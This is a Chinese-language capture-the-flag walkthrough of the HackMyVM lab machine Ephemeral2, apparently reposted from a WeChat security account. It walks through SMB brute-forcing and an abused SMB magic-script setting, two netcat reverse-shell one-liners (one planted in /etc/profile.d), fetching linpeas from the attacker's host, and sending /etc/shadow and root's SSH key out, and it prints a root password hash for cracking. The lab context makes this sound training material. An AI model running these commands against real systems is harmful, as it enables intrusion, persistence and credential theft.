靶机信息
下载地址:
https://hackmyvm.eu/machines/machine.php?vm=Ephemeral2
网盘链接:https://pan.baidu.com/s/1MYO7cEOg2xou1FrC40v6qg?pwd=ja7r
靶场: HackMyVm.eu
靶机名称: Ephemeral2
难度: 简单
发布时间: 2022年4月12日
提示信息:
无
目标: user.txt和root.txt
实验环境
攻击机:VMware kali 10.0.0.3 eth0桥接互联网,eth1桥接vbox-Host-Only
靶机:Vbox linux IP自动获取 网卡host-Only
信息收集
扫描主机
扫描局域网内的靶机IP地址
sudo netdiscover -r 10.0.0.0/24 -i eth1
扫描到主机地址为10.0.0.141
扫描端口
扫描靶机开放的服务端口
sudo nmap -sC -sV -p- 10.0.0.141 -oN nmap.log
扫描到开放22、80、139、445端口,先来看看80端口
Web渗透
做个目录扫描,检查敏感路径
gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.141 -x php,html,txt,zip
发现foodservice目录,继续扫描(github的图床上传图片太费劲,换成文本来显示)
┌──(pikachu㉿kali)-[/mnt/hgfs/HackTools/HackMyVM/Ephemeral2]
└─$ gobuster dir -w ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.0.0.141/foodservice -x php,html,txt,zip
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.0.0.141/foodservice
[+] Method: GET
[+] Threads: 10
[+] Wordlist: ../../Dict/SecLists-2022.1/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php,html,txt,zip
[+] Timeout: 10s
===============================================================
2022/04/12 07:49:42 Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 321] [--> http://10.0.0.141/foodservice/images/]
/index.html (Status: 200) [Size: 16429]
/icon (Status: 301) [Size: 319] [--> http://10.0.0.141/foodservice/icon/]
/css (Status: 301) [Size: 318] [--> http://10.0.0.141/foodservice/css/]
/js (Status: 301) [Size: 317] [--> http://10.0.0.141/foodservice/js/]
/fonts (Status: 301) [Size: 320] [--> http://10.0.0.141/foodservice/fonts/]
===============================================================
2022/04/12 07:55:19 Finished
===============================================================
再来访问foodservice目录
http://10.0.0.141/foodservice/
访问后没有发现可利用的信息,再来看看其他端口
SMB攻击
检查账户信息
enum4linux -U 10.0.0.141
服务器允许空的账号密码连接,并且找到一个用户randy
查看共享信息
enum4linux -S 10.0.0.141
发现共享目录和打印机,尝试连接
smbclient '\10.0.0.141IPC$'
未发现可利用信息,其他目录都需要密码,尝试暴破randy账号,
SMB密码暴破
git clone https://github.com/NullByte007/SMBRUTE.git
cd SMBRUTE
python3 SMBRUTE.py -t 10.0.0.141 -u user.txt -p ../../../Dict/SecLists-2022.1/Passwords/richelieu-french-top5000.txt
拿到密码,挂载SYSADMIN到本地
sudo mount -t cifs -o username=randy //10.0.0.141/SYSADMIN /mnt/tmp
挂载成功,查看内容
cd /mnt/tmp
ls
发现3个文件,查看内容
cat smb.conf
配置文件中magic script中配置了脚本,该脚本存在/mnt目录下就会被执行然后删除,来上传个反弹shell验证一下
1。攻击机新建窗口并监听4444端口
nc -lvvp 4444
2。生成脚本并复制到/mnt目录下
vi shell.sh
sudo cp shell.sh /mnt/smbscript.elf
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.0.0.3 4444 >/tmp/f
反弹成功,先切换到交互式shell再来找找敏感信息
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
Ctrl+z快捷键
stty raw -echo;fg
reset
上传个辅助脚本来检查敏感信息
1。攻击机在脚本目录下开启HTTP服务
python3 -m http.server
2。靶机上下载linpeas.sh脚本并执行
cd /tmp
wget http://10.0.0.3:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
发现用户ralph、
发现ralph用户身份定时运行的脚本
发现/etc/profile.d目录可写,该目录下的脚本在有用户登录SSH时,会以该用户的身份执行里面的脚本。
先来看看ssh.sh脚本内容
cat /home/ralph/tools/ssh.sh
SSH登录脚本,有了这个定时登录SSH的脚本,就可以在/etc/profile.d目录下写一个反弹shell,当ssh.sh脚本自动登录时便会触发反弹sehll脚本,验证一下
1。攻击机新开窗口监听3333端口
nc -lvvp 3333
2。在/etc/profile.d目录下写反弹shell脚本(
vi shell.sh
chmod +x shell.sh
#!/bin/bash
rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|sh -i 2>&1|nc 10.0.0.3 3333 >/tmp/g
反弹成功,拿到ralph权限,切换到交互式shell再查找敏感信息
ls
cat user.txt
拿到user.txt,再来找找提权信息
sudo -l
发现可以使用root用户身份执行getfile.py,执行这个脚本看看
sudo -u root /usr/bin/python3 /home/ralph/getfile.py
运行后提示输入文件路径和IP地址
输入后发现这个脚本会向输入的地址发送文件,来验证一下
1。攻击机监听80端口
nc -lvvp 80
2。靶机再次执行脚本将shadow文件发送到攻击机的80端口
攻击机接收到shadow文件,拿来跑一下root密码
echo 'root:$6$ONBXfYmDyD2.uHR2$b8FgiI/1JXkRDB1noB5b3fObAXL3tbZj8QrUxpbmqcw99A17fIVY.6SZM2TrBY0WT1XY0n1T0ZNlx/XKfQNqh/:19092:0:99999:7:::' >shadow
john shadow --wordlist=/usr/share/wordlists/rockyou.txt
在跑密码的过程中再次尝试传输文件,并且成功将/root/.ssh/id_rsa文件发送到攻击机上
将key保存为id_rsa后尝试登录SSH
vi id_rsa
chmod 600 id_rsa
ssh [email protected] -i id_rsa
登录成功,查找flag
cat /root/roottxt/root.txt
拿到root.txt,游戏结束。
原文始发于微信公众号(伏波路上学安全):渗透测试练习No.77 HackMyVm Ephemeral2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论